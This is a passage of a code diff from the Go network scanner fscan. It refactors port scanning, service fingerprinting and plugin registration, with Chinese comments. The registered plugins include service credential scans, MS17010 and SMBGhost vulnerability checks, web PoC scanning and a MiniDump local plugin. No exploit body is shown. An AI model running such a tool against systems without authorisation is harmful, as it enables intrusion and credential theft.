|
})
|
||||||
|
|
||||||
|
// 记录服务信息
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString("服务识别 " + addr + " => ")
|
||||||
|
if info.Name != "unknown" {
|
||||||
|
sb.WriteString("[" + info.Name + "]")
|
||||||
|
}
|
||||||
|
if info.Version != "" {
|
||||||
|
sb.WriteString(" 版本:" + info.Version)
|
||||||
|
}
|
||||||
|
|
||||||
|
for k, v := range info.Extras {
|
||||||
|
if v == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
switch k {
|
||||||
|
case "vendor_product":
|
||||||
|
sb.WriteString(" 产品:" + v)
|
||||||
|
case "os":
|
||||||
|
sb.WriteString(" 系统:" + v)
|
||||||
|
case "info":
|
||||||
|
sb.WriteString(" 信息:" + v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(info.Banner) > 0 && len(info.Banner) < 100 {
|
||||||
|
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogInfo(sb.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
wg.Wait()
|
_ = g.Wait()
|
||||||
close(addrs)
|
|
||||||
close(results)
|
|
||||||
return AliveAddress
|
|
||||||
}
|
|
||||||
|
|
||||||
// collectResults 收集扫描结果
|
// 收集结果
|
||||||
func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) {
|
var aliveAddrs []string
|
||||||
for found := range results {
|
aliveMap.Range(func(key, _ interface{}) bool {
|
||||||
*aliveAddrs = append(*aliveAddrs, found)
|
aliveAddrs = append(aliveAddrs, key.(string))
|
||||||
wg.Done()
|
return true
|
||||||
}
|
})
|
||||||
}
|
|
||||||
|
|
||||||
// PortConnect 尝试连接指定端口
|
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count))
|
||||||
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
|
return aliveAddrs
|
||||||
// 建立TCP连接
|
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp4",
|
|
||||||
fmt.Sprintf("%s:%v", addr.ip, addr.port),
|
|
||||||
time.Duration(timeout)*time.Second)
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
// 记录开放端口
|
|
||||||
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
|
||||||
result := fmt.Sprintf("[+] 端口开放 %s", address)
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
|
|
||||||
wg.Add(1)
|
|
||||||
respondingHosts <- address
|
|
||||||
}
|
|
||||||
|
|
||||||
// NoPortScan 生成端口列表(不进行扫描)
|
|
||||||
func NoPortScan(hostslist []string, ports string) []string {
|
|
||||||
var AliveAddress []string
|
|
||||||
|
|
||||||
// 解析并排除端口
|
|
||||||
probePorts := excludeNoPorts(Common.ParsePort(ports))
|
|
||||||
|
|
||||||
// 生成地址列表
|
|
||||||
for _, port := range probePorts {
|
|
||||||
for _, host := range hostslist {
|
|
||||||
address := fmt.Sprintf("%s:%d", host, port)
|
|
||||||
AliveAddress = append(AliveAddress, address)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return AliveAddress
|
|
||||||
}
|
|
||||||
|
|
||||||
// excludeNoPorts 排除指定的端口
|
|
||||||
func excludeNoPorts(ports []int) []int {
|
|
||||||
noPorts := Common.ParsePort(Common.NoPorts)
|
|
||||||
if len(noPorts) == 0 {
|
|
||||||
return ports
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用map过滤端口
|
|
||||||
temp := make(map[int]struct{})
|
|
||||||
for _, port := range ports {
|
|
||||||
temp[port] = struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, port := range noPorts {
|
|
||||||
delete(temp, port)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 转换为切片并排序
|
|
||||||
var newPorts []int
|
|
||||||
for port := range temp {
|
|
||||||
newPorts = append(newPorts, port)
|
|
||||||
}
|
|
||||||
sort.Ints(newPorts)
|
|
||||||
|
|
||||||
return newPorts
|
|
||||||
}
|
}
|
||||||
|
|||||||
+192
-33
@@ -3,128 +3,287 @@ package Core
|
|||||||
import (
|
import (
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"github.com/shadow1ng/fscan/Plugins"
|
"github.com/shadow1ng/fscan/Plugins"
|
||||||
|
"sort"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// init 初始化并注册所有扫描插件
|
||||||
|
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
|
||||||
func init() {
|
func init() {
|
||||||
// 注册标准端口服务扫描
|
// 1. 标准网络服务扫描插件
|
||||||
|
// 文件传输和远程访问服务
|
||||||
Common.RegisterPlugin("ftp", Common.ScanPlugin{
|
Common.RegisterPlugin("ftp", Common.ScanPlugin{
|
||||||
Name: "FTP",
|
Name: "FTP",
|
||||||
Port: 21,
|
Ports: []int{21},
|
||||||
ScanFunc: Plugins.FtpScan,
|
ScanFunc: Plugins.FtpScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("ssh", Common.ScanPlugin{
|
Common.RegisterPlugin("ssh", Common.ScanPlugin{
|
||||||
Name: "SSH",
|
Name: "SSH",
|
||||||
Port: 22,
|
Ports: []int{22, 2222},
|
||||||
ScanFunc: Plugins.SshScan,
|
ScanFunc: Plugins.SshScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("telnet", Common.ScanPlugin{
|
||||||
|
Name: "Telnet",
|
||||||
|
Ports: []int{23},
|
||||||
|
ScanFunc: Plugins.TelnetScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// Windows网络服务
|
||||||
Common.RegisterPlugin("findnet", Common.ScanPlugin{
|
Common.RegisterPlugin("findnet", Common.ScanPlugin{
|
||||||
Name: "FindNet",
|
Name: "FindNet",
|
||||||
Port: 135,
|
Ports: []int{135},
|
||||||
ScanFunc: Plugins.Findnet,
|
ScanFunc: Plugins.Findnet,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("netbios", Common.ScanPlugin{
|
Common.RegisterPlugin("netbios", Common.ScanPlugin{
|
||||||
Name: "NetBIOS",
|
Name: "NetBIOS",
|
||||||
Port: 139,
|
Ports: []int{139},
|
||||||
ScanFunc: Plugins.NetBIOS,
|
ScanFunc: Plugins.NetBIOS,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("smb", Common.ScanPlugin{
|
Common.RegisterPlugin("smb", Common.ScanPlugin{
|
||||||
Name: "SMB",
|
Name: "SMB",
|
||||||
Port: 445,
|
Ports: []int{445},
|
||||||
ScanFunc: Plugins.SmbScan,
|
ScanFunc: Plugins.SmbScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// 数据库服务
|
||||||
Common.RegisterPlugin("mssql", Common.ScanPlugin{
|
Common.RegisterPlugin("mssql", Common.ScanPlugin{
|
||||||
Name: "MSSQL",
|
Name: "MSSQL",
|
||||||
Port: 1433,
|
Ports: []int{1433, 1434},
|
||||||
ScanFunc: Plugins.MssqlScan,
|
ScanFunc: Plugins.MssqlScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("oracle", Common.ScanPlugin{
|
Common.RegisterPlugin("oracle", Common.ScanPlugin{
|
||||||
Name: "Oracle",
|
Name: "Oracle",
|
||||||
Port: 1521,
|
Ports: []int{1521, 1522, 1526},
|
||||||
ScanFunc: Plugins.OracleScan,
|
ScanFunc: Plugins.OracleScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("mysql", Common.ScanPlugin{
|
Common.RegisterPlugin("mysql", Common.ScanPlugin{
|
||||||
Name: "MySQL",
|
Name: "MySQL",
|
||||||
Port: 3306,
|
Ports: []int{3306, 3307, 13306, 33306},
|
||||||
ScanFunc: Plugins.MysqlScan,
|
ScanFunc: Plugins.MysqlScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// 中间件和消息队列服务
|
||||||
|
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
|
||||||
|
Name: "Elasticsearch",
|
||||||
|
Ports: []int{9200, 9300},
|
||||||
|
ScanFunc: Plugins.ElasticScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
|
||||||
|
Name: "RabbitMQ",
|
||||||
|
Ports: []int{5672, 5671, 15672, 15671},
|
||||||
|
ScanFunc: Plugins.RabbitMQScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("kafka", Common.ScanPlugin{
|
||||||
|
Name: "Kafka",
|
||||||
|
Ports: []int{9092, 9093},
|
||||||
|
ScanFunc: Plugins.KafkaScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("activemq", Common.ScanPlugin{
|
||||||
|
Name: "ActiveMQ",
|
||||||
|
Ports: []int{61613},
|
||||||
|
ScanFunc: Plugins.ActiveMQScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 目录和认证服务
|
||||||
|
Common.RegisterPlugin("ldap", Common.ScanPlugin{
|
||||||
|
Name: "LDAP",
|
||||||
|
Ports: []int{389, 636},
|
||||||
|
ScanFunc: Plugins.LDAPScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 邮件服务
|
||||||
|
Common.RegisterPlugin("smtp", Common.ScanPlugin{
|
||||||
|
Name: "SMTP",
|
||||||
|
Ports: []int{25, 465, 587},
|
||||||
|
ScanFunc: Plugins.SmtpScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("imap", Common.ScanPlugin{
|
||||||
|
Name: "IMAP",
|
||||||
|
Ports: []int{143, 993},
|
||||||
|
ScanFunc: Plugins.IMAPScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("pop3", Common.ScanPlugin{
|
||||||
|
Name: "POP3",
|
||||||
|
Ports: []int{110, 995},
|
||||||
|
ScanFunc: Plugins.POP3Scan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 网络管理和监控服务
|
||||||
|
Common.RegisterPlugin("snmp", Common.ScanPlugin{
|
||||||
|
Name: "SNMP",
|
||||||
|
Ports: []int{161, 162},
|
||||||
|
ScanFunc: Plugins.SNMPScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("modbus", Common.ScanPlugin{
|
||||||
|
Name: "Modbus",
|
||||||
|
Ports: []int{502, 5020},
|
||||||
|
ScanFunc: Plugins.ModbusScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 数据同步和备份服务
|
||||||
|
Common.RegisterPlugin("rsync", Common.ScanPlugin{
|
||||||
|
Name: "Rsync",
|
||||||
|
Ports: []int{873},
|
||||||
|
ScanFunc: Plugins.RsyncScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// NoSQL数据库
|
||||||
|
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
|
||||||
|
Name: "Cassandra",
|
||||||
|
Ports: []int{9042},
|
||||||
|
ScanFunc: Plugins.CassandraScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
|
||||||
|
Name: "Neo4j",
|
||||||
|
Ports: []int{7687},
|
||||||
|
ScanFunc: Plugins.Neo4jScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 远程桌面和显示服务
|
||||||
Common.RegisterPlugin("rdp", Common.ScanPlugin{
|
Common.RegisterPlugin("rdp", Common.ScanPlugin{
|
||||||
Name: "RDP",
|
Name: "RDP",
|
||||||
Port: 3389,
|
Ports: []int{3389, 13389, 33389},
|
||||||
ScanFunc: Plugins.RdpScan,
|
ScanFunc: Plugins.RdpScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("postgres", Common.ScanPlugin{
|
Common.RegisterPlugin("postgres", Common.ScanPlugin{
|
||||||
Name: "PostgreSQL",
|
Name: "PostgreSQL",
|
||||||
Port: 5432,
|
Ports: []int{5432, 5433},
|
||||||
ScanFunc: Plugins.PostgresScan,
|
ScanFunc: Plugins.PostgresScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("vnc", Common.ScanPlugin{
|
||||||
|
Name: "VNC",
|
||||||
|
Ports: []int{5900, 5901, 5902},
|
||||||
|
ScanFunc: Plugins.VncScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 缓存和键值存储服务
|
||||||
Common.RegisterPlugin("redis", Common.ScanPlugin{
|
Common.RegisterPlugin("redis", Common.ScanPlugin{
|
||||||
Name: "Redis",
|
Name: "Redis",
|
||||||
Port: 6379,
|
Ports: []int{6379, 6380, 16379},
|
||||||
ScanFunc: Plugins.RedisScan,
|
ScanFunc: Plugins.RedisScan,
|
||||||
})
|
Types: []string{Common.PluginTypeService},
|
||||||
|
|
||||||
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
|
|
||||||
Name: "FastCGI",
|
|
||||||
Port: 9000,
|
|
||||||
ScanFunc: Plugins.FcgiScan,
|
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
||||||
Name: "Memcached",
|
Name: "Memcached",
|
||||||
Port: 11211,
|
Ports: []int{11211},
|
||||||
ScanFunc: Plugins.MemcachedScan,
|
ScanFunc: Plugins.MemcachedScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
|
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
|
||||||
Name: "MongoDB",
|
Name: "MongoDB",
|
||||||
Port: 27017,
|
Ports: []int{27017, 27018},
|
||||||
ScanFunc: Plugins.MongodbScan,
|
ScanFunc: Plugins.MongodbScan,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
// 注册特殊扫描类型
|
// 2. 特殊漏洞扫描插件
|
||||||
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
|
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
|
||||||
Name: "MS17010",
|
Name: "MS17010",
|
||||||
Port: 445,
|
Ports: []int{445},
|
||||||
ScanFunc: Plugins.MS17010,
|
ScanFunc: Plugins.MS17010,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
|
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
|
||||||
Name: "SMBGhost",
|
Name: "SMBGhost",
|
||||||
Port: 445,
|
Ports: []int{445},
|
||||||
ScanFunc: Plugins.SmbGhost,
|
ScanFunc: Plugins.SmbGhost,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("web", Common.ScanPlugin{
|
// 3. Web应用扫描插件
|
||||||
|
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
|
||||||
Name: "WebTitle",
|
Name: "WebTitle",
|
||||||
Port: 0,
|
Ports: Common.ParsePortsFromString(Common.WebPorts),
|
||||||
ScanFunc: Plugins.WebTitle,
|
ScanFunc: Plugins.WebTitle,
|
||||||
|
Types: []string{Common.PluginTypeWeb},
|
||||||
})
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
|
||||||
|
Name: "WebPoc",
|
||||||
|
Ports: Common.ParsePortsFromString(Common.WebPorts),
|
||||||
|
ScanFunc: Plugins.WebPoc,
|
||||||
|
Types: []string{Common.PluginTypeWeb},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 4. Windows系统专用插件
|
||||||
Common.RegisterPlugin("smb2", Common.ScanPlugin{
|
Common.RegisterPlugin("smb2", Common.ScanPlugin{
|
||||||
Name: "SMBScan2",
|
Name: "SMBScan2",
|
||||||
Port: 445,
|
Ports: []int{445},
|
||||||
ScanFunc: Plugins.SmbScan2,
|
ScanFunc: Plugins.SmbScan2,
|
||||||
|
Types: []string{Common.PluginTypeService},
|
||||||
})
|
})
|
||||||
|
|
||||||
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
|
// 5. 本地信息收集插件
|
||||||
Name: "WMIExec",
|
|
||||||
Port: 135,
|
|
||||||
ScanFunc: Plugins.WmiExec,
|
|
||||||
})
|
|
||||||
|
|
||||||
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
||||||
Name: "LocalInfo",
|
Name: "LocalInfo",
|
||||||
Port: 0,
|
Ports: []int{},
|
||||||
ScanFunc: Plugins.LocalInfoScan,
|
ScanFunc: Plugins.LocalInfoScan,
|
||||||
|
Types: []string{Common.PluginTypeLocal},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
|
||||||
|
Name: "DCInfo",
|
||||||
|
Ports: []int{},
|
||||||
|
ScanFunc: Plugins.DCInfoScan,
|
||||||
|
Types: []string{Common.PluginTypeLocal},
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.RegisterPlugin("minidump", Common.ScanPlugin{
|
||||||
|
Name: "MiniDump",
|
||||||
|
Ports: []int{},
|
||||||
|
ScanFunc: Plugins.MiniDump,
|
||||||
|
Types: []string{Common.PluginTypeLocal},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetAllPlugins 返回所有已注册插件的名称列表
|
||||||
|
func GetAllPlugins() []string {
|
||||||
|
pluginNames := make([]string, 0, len(Common.PluginManager))
|
||||||
|
for name := range Common.PluginManager {
|
||||||
|
pluginNames = append(pluginNames, name)
|
||||||
|
}
|
||||||
|
sort.Strings(pluginNames)
|
||||||
|
return pluginNames
|
||||||
|
}
|
||||||
|
|||||||
+196
-154
@@ -2,203 +2,245 @@ package Core
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"github.com/schollz/progressbar/v3"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Scan(info Common.HostInfo) {
|
// ScanTask 表示单个扫描任务
|
||||||
fmt.Println("[*] 开始信息扫描...")
|
type ScanTask struct {
|
||||||
|
pluginName string // 插件名称
|
||||||
|
target Common.HostInfo // 目标信息
|
||||||
|
}
|
||||||
|
|
||||||
// 本地信息收集模块
|
// ScanStrategy 定义扫描策略接口
|
||||||
if Common.Scantype == "localinfo" {
|
type ScanStrategy interface {
|
||||||
ch := make(chan struct{}, Common.Threads)
|
// 名称和描述
|
||||||
wg := sync.WaitGroup{}
|
Name() string
|
||||||
AddScan("localinfo", info, &ch, &wg)
|
Description() string
|
||||||
wg.Wait()
|
|
||||||
Common.LogWG.Wait()
|
// 执行扫描的主要方法
|
||||||
close(Common.Results)
|
Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
|
||||||
fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num)
|
|
||||||
return
|
// 插件管理方法
|
||||||
|
GetPlugins() ([]string, bool)
|
||||||
|
LogPluginInfo()
|
||||||
|
|
||||||
|
// 任务准备方法
|
||||||
|
PrepareTargets(info Common.HostInfo) []Common.HostInfo
|
||||||
|
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scanner 扫描器结构体
|
||||||
|
type Scanner struct {
|
||||||
|
strategy ScanStrategy
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewScanner 创建新的扫描器并选择合适的策略
|
||||||
|
func NewScanner(info Common.HostInfo) *Scanner {
|
||||||
|
scanner := &Scanner{}
|
||||||
|
scanner.selectStrategy(info)
|
||||||
|
return scanner
|
||||||
|
}
|
||||||
|
|
||||||
|
// selectStrategy 根据扫描配置选择适当的扫描策略
|
||||||
|
func (s *Scanner) selectStrategy(info Common.HostInfo) {
|
||||||
|
switch {
|
||||||
|
case Common.LocalMode:
|
||||||
|
s.strategy = NewLocalScanStrategy()
|
||||||
|
Common.LogBase("已选择本地扫描模式")
|
||||||
|
case len(Common.URLs) > 0:
|
||||||
|
s.strategy = NewWebScanStrategy()
|
||||||
|
Common.LogBase("已选择Web扫描模式")
|
||||||
|
default:
|
||||||
|
s.strategy = NewServiceScanStrategy()
|
||||||
|
Common.LogBase("已选择服务扫描模式")
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 解析目标主机IP
|
// Scan 执行整体扫描流程
|
||||||
Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts)
|
func (s *Scanner) Scan(info Common.HostInfo) {
|
||||||
if err != nil {
|
Common.LogBase("开始信息扫描")
|
||||||
fmt.Printf("[!] 解析主机错误: %v\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始化配置
|
|
||||||
lib.Inithttp()
|
lib.Inithttp()
|
||||||
ch := make(chan struct{}, Common.Threads)
|
|
||||||
|
// 并发控制初始化
|
||||||
|
ch := make(chan struct{}, Common.ThreadNum)
|
||||||
wg := sync.WaitGroup{}
|
wg := sync.WaitGroup{}
|
||||||
var AlivePorts []string
|
|
||||||
|
|
||||||
if len(Hosts) > 0 || len(Common.HostPort) > 0 {
|
// 执行策略
|
||||||
// ICMP存活性检测
|
s.strategy.Execute(info, &ch, &wg)
|
||||||
if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" {
|
|
||||||
Hosts = CheckLive(Hosts, Common.Ping)
|
// 等待所有扫描完成
|
||||||
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts))
|
wg.Wait()
|
||||||
if Common.Scantype == "icmp" {
|
s.finishScan()
|
||||||
Common.LogWG.Wait()
|
}
|
||||||
return
|
|
||||||
}
|
// finishScan 完成扫描并输出结果
|
||||||
|
func (s *Scanner) finishScan() {
|
||||||
|
if Common.ProgressBar != nil {
|
||||||
|
Common.ProgressBar.Finish()
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 任务执行通用框架
|
||||||
|
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
// 获取要执行的插件
|
||||||
|
pluginsToRun, isCustomMode := strategy.GetPlugins()
|
||||||
|
|
||||||
|
// 准备扫描任务
|
||||||
|
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
|
||||||
|
|
||||||
|
// 输出扫描计划
|
||||||
|
if Common.ShowScanPlan && len(tasks) > 0 {
|
||||||
|
logScanPlan(tasks)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始化进度条
|
||||||
|
if len(tasks) > 0 && Common.ShowProgress {
|
||||||
|
initProgressBar(len(tasks))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行所有任务
|
||||||
|
for _, task := range tasks {
|
||||||
|
scheduleScanTask(task.pluginName, task.target, ch, wg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 准备扫描任务列表
|
||||||
|
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
|
||||||
|
var tasks []ScanTask
|
||||||
|
|
||||||
|
for _, target := range targets {
|
||||||
|
targetPort := 0
|
||||||
|
if target.Ports != "" {
|
||||||
|
targetPort, _ = strconv.Atoi(target.Ports)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 端口扫描策略
|
for _, pluginName := range pluginsToRun {
|
||||||
AlivePorts = executeScanStrategy(Hosts, Common.Scantype)
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
|
if !exists {
|
||||||
// 处理自定义端口
|
|
||||||
if len(Common.HostPort) > 0 {
|
|
||||||
AlivePorts = append(AlivePorts, Common.HostPort...)
|
|
||||||
AlivePorts = Common.RemoveDuplicate(AlivePorts)
|
|
||||||
Common.HostPort = nil
|
|
||||||
fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 执行扫描任务
|
|
||||||
fmt.Println("[*] 开始漏洞扫描...")
|
|
||||||
for _, targetIP := range AlivePorts {
|
|
||||||
hostParts := strings.Split(targetIP, ":")
|
|
||||||
if len(hostParts) != 2 {
|
|
||||||
fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP)
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
info.Host, info.Ports = hostParts[0], hostParts[1]
|
|
||||||
|
|
||||||
executeScanTasks(info, Common.Scantype, &ch, &wg)
|
// 检查插件是否适用于当前目标 (通过策略判断)
|
||||||
|
if strategy.IsPluginApplicable(plugin, targetPort, isCustomMode) {
|
||||||
|
tasks = append(tasks, ScanTask{
|
||||||
|
pluginName: pluginName,
|
||||||
|
target: target,
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// URL扫描
|
return tasks
|
||||||
for _, url := range Common.Urls {
|
|
||||||
info.Url = url
|
|
||||||
AddScan("web", info, &ch, &wg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 等待所有任务完成
|
|
||||||
wg.Wait()
|
|
||||||
Common.LogWG.Wait()
|
|
||||||
close(Common.Results)
|
|
||||||
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeScanStrategy 执行端口扫描策略
|
// logScanPlan 输出扫描计划信息
|
||||||
func executeScanStrategy(Hosts []string, scanType string) []string {
|
func logScanPlan(tasks []ScanTask) {
|
||||||
switch scanType {
|
// 统计每个插件的目标数量
|
||||||
case "webonly", "webpoc":
|
pluginCounts := make(map[string]int)
|
||||||
return NoPortScan(Hosts, Common.Ports)
|
for _, task := range tasks {
|
||||||
case "hostname":
|
pluginCounts[task.pluginName]++
|
||||||
Common.Ports = "139"
|
|
||||||
return NoPortScan(Hosts, Common.Ports)
|
|
||||||
default:
|
|
||||||
if len(Hosts) > 0 {
|
|
||||||
ports := PortScan(Hosts, Common.Ports, Common.Timeout)
|
|
||||||
fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
|
|
||||||
if scanType == "portscan" {
|
|
||||||
Common.LogWG.Wait()
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return ports
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return nil
|
|
||||||
|
// 构建扫描计划信息
|
||||||
|
var planInfo strings.Builder
|
||||||
|
planInfo.WriteString("扫描计划:\n")
|
||||||
|
|
||||||
|
for plugin, count := range pluginCounts {
|
||||||
|
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogBase(planInfo.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeScanTasks 执行扫描任务
|
// 初始化进度条
|
||||||
func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
|
func initProgressBar(totalTasks int) {
|
||||||
if scanType == "all" || scanType == "main" {
|
Common.ProgressBar = progressbar.NewOptions(totalTasks,
|
||||||
// 根据端口选择扫描插件
|
progressbar.OptionEnableColorCodes(true),
|
||||||
switch info.Ports {
|
progressbar.OptionShowCount(),
|
||||||
case "135":
|
progressbar.OptionSetWidth(15),
|
||||||
AddScan("findnet", info, ch, wg)
|
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
|
||||||
if Common.IsWmi {
|
progressbar.OptionSetTheme(progressbar.Theme{
|
||||||
